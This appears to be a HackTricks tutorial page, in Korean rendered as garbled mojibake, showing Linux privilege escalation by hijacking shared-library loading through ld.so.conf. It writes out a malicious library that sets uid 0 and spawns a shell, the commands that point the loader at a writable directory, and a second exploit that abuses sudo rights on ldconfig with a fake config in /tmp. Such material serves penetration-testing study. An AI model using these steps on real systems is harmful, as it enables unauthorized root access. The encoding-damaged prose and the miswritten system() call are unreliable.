ld.so privesc exploit example
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
νκ²½ μ€λΉ
λ€μ μΉμ μμλ νκ²½μ μ€λΉνλ λ° μ¬μ©ν νμΌμ μ½λλ₯Ό μ°Ύμ μ μμ΅λλ€.
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
- νμΌμ κ°μ ν΄λμ μμ±ν©λλ€.
- λΌμ΄λΈλ¬λ¦¬λ₯Ό μ»΄νμΌν©λλ€:
gcc -shared -o libcustom.so -fPIC libcustom.c libcustom.soλ₯Ό/usr/libλ‘ λ³΅μ¬ν©λλ€:sudo cp libcustom.so /usr/lib(λ£¨νΈ κΆν)- μ€ν νμΌμ μ»΄νμΌν©λλ€:
gcc sharedvuln.c -o sharedvuln -lcustom
νκ²½ νμΈ
_libcustom.so_κ° _/usr/lib_μμ λ‘λλκ³ μμΌλ©°, μ΄μ§ νμΌμ μ€νν μ μλμ§ νμΈν©λλ€.
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Exploit
μ΄ μλ리μ€μμλ λκ΅°κ°κ° /etc/ld.so.conf/ νμΌ μμ μ·¨μ½ν νλͺ©μ μμ±νλ€κ³ κ°μ ν©λλ€:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
μ·¨μ½ν ν΄λλ _/home/ubuntu/lib_μ
λλ€ (μ¬κΈ°μμ μ°κΈ° κΆνμ΄ μμ΅λλ€).
λ€μ μ½λλ₯Ό λ€μ΄λ‘λνκ³ ν΄λΉ κ²½λ‘μμ μ»΄νμΌνμΈμ:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
μ΄μ μλͺ» ꡬμ±λ κ²½λ‘ μμ μ
μ± libcustom λΌμ΄λΈλ¬λ¦¬λ₯Ό μμ±νμΌλ―λ‘, μ¬λΆν
μ κΈ°λ€λ¦¬κ±°λ λ£¨νΈ μ¬μ©μκ° **ldconfig**λ₯Ό μ€ννκΈ°λ₯Ό κΈ°λ€λ €μΌ ν©λλ€ (μ΄ λ°μ΄λ리λ₯Ό sudoλ‘ μ€νν μ μκ±°λ suid λΉνΈκ° μ€μ λμ΄ μλ€λ©΄ μ§μ μ€νν μ μμ΅λλ€).
μ΄ μΌμ΄ λ°μν ν λ€μ νμΈνμ¬ sharevuln μ€ν νμΌμ΄ libcustom.so λΌμ΄λΈλ¬λ¦¬λ₯Ό μ΄λμμ λ‘λνλμ§ νμΈνμμμ€:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
보μλ€μνΌ /home/ubuntu/libμμ λ‘λλκ³ μ¬μ©μκ° μ΄λ₯Ό μ€ννλ©΄ μ
Έμ΄ μ€νλ©λλ€:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
Note
μ΄ μμ μμλ κΆν μμΉμ νμ§ μμμ§λ§, μ€νλλ λͺ λ Ήμ μμ νκ³ λ£¨νΈ λλ λ€λ₯Έ κΆνμ΄ μλ μ¬μ©μκ° μ·¨μ½ν λ°μ΄λ리λ₯Ό μ€ννκΈ°λ₯Ό κΈ°λ€λ¦¬λ©΄ κΆνμ μμΉμν¬ μ μμ΅λλ€.
λ€λ₯Έ μλͺ»λ κ΅¬μ± - λμΌν μ·¨μ½μ
μ΄μ μμ μμλ κ΄λ¦¬μκ° /etc/ld.so.conf.d/ λ΄μ κ΅¬μ± νμΌ μμ λΉκΆν ν΄λλ₯Ό μ€μ ν μλͺ»λ ꡬμ±μ κ°μ₯νμ΅λλ€.
νμ§λ§ λμΌν μ·¨μ½μ μ μ λ°ν μ μλ λ€λ₯Έ μλͺ»λ ꡬμ±λ μμ΅λλ€. /etc/ld.so.conf.d λ΄μ μΌλΆ κ΅¬μ± νμΌμ μ°κΈ° κΆνμ΄ μκ±°λ, /etc/ld.so.conf.d ν΄λ λλ /etc/ld.so.conf νμΌμ μ°κΈ° κΆνμ΄ μμΌλ©΄ λμΌν μ·¨μ½μ μ ꡬμ±νκ³ μ΄λ₯Ό μ
μ©ν μ μμ΅λλ€.
Exploit 2
ldconfigμ λν sudo κΆνμ΄ μλ€κ³ κ°μ ν΄ λ³΄κ² μ΅λλ€.ldconfigμ κ΅¬μ± νμΌμ μ΄λμ λ‘λν μ§ μ§μν μ μμΌλ―λ‘, μ΄λ₯Ό μ΄μ©ν΄ ldconfigκ° μμμ ν΄λλ₯Ό λ‘λνλλ‘ ν μ μμ΅λλ€.
λ°λΌμ β/tmpβλ₯Ό λ‘λνλ λ° νμν νμΌκ³Ό ν΄λλ₯Ό μμ±ν΄ λ³΄κ² μ΅λλ€:
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
μ΄μ μ΄μ μ΅μ€νλ‘μμμ μΈκΈν λλ‘, /tmp μμ μ
μ± λΌμ΄λΈλ¬λ¦¬λ₯Ό μμ±ν©λλ€.
λ§μ§λ§μΌλ‘, κ²½λ‘λ₯Ό λ‘λνκ³ λ°μ΄λλ¦¬κ° λΌμ΄λΈλ¬λ¦¬λ₯Ό μ΄λμμ λ‘λνλμ§ νμΈν΄ λ΄
μλ€:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
보μλ€μνΌ, ldconfigμ λν sudo κΆνμ΄ μμΌλ©΄ λμΌν μ·¨μ½μ μ μ
μ©ν μ μμ΅λλ€.
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


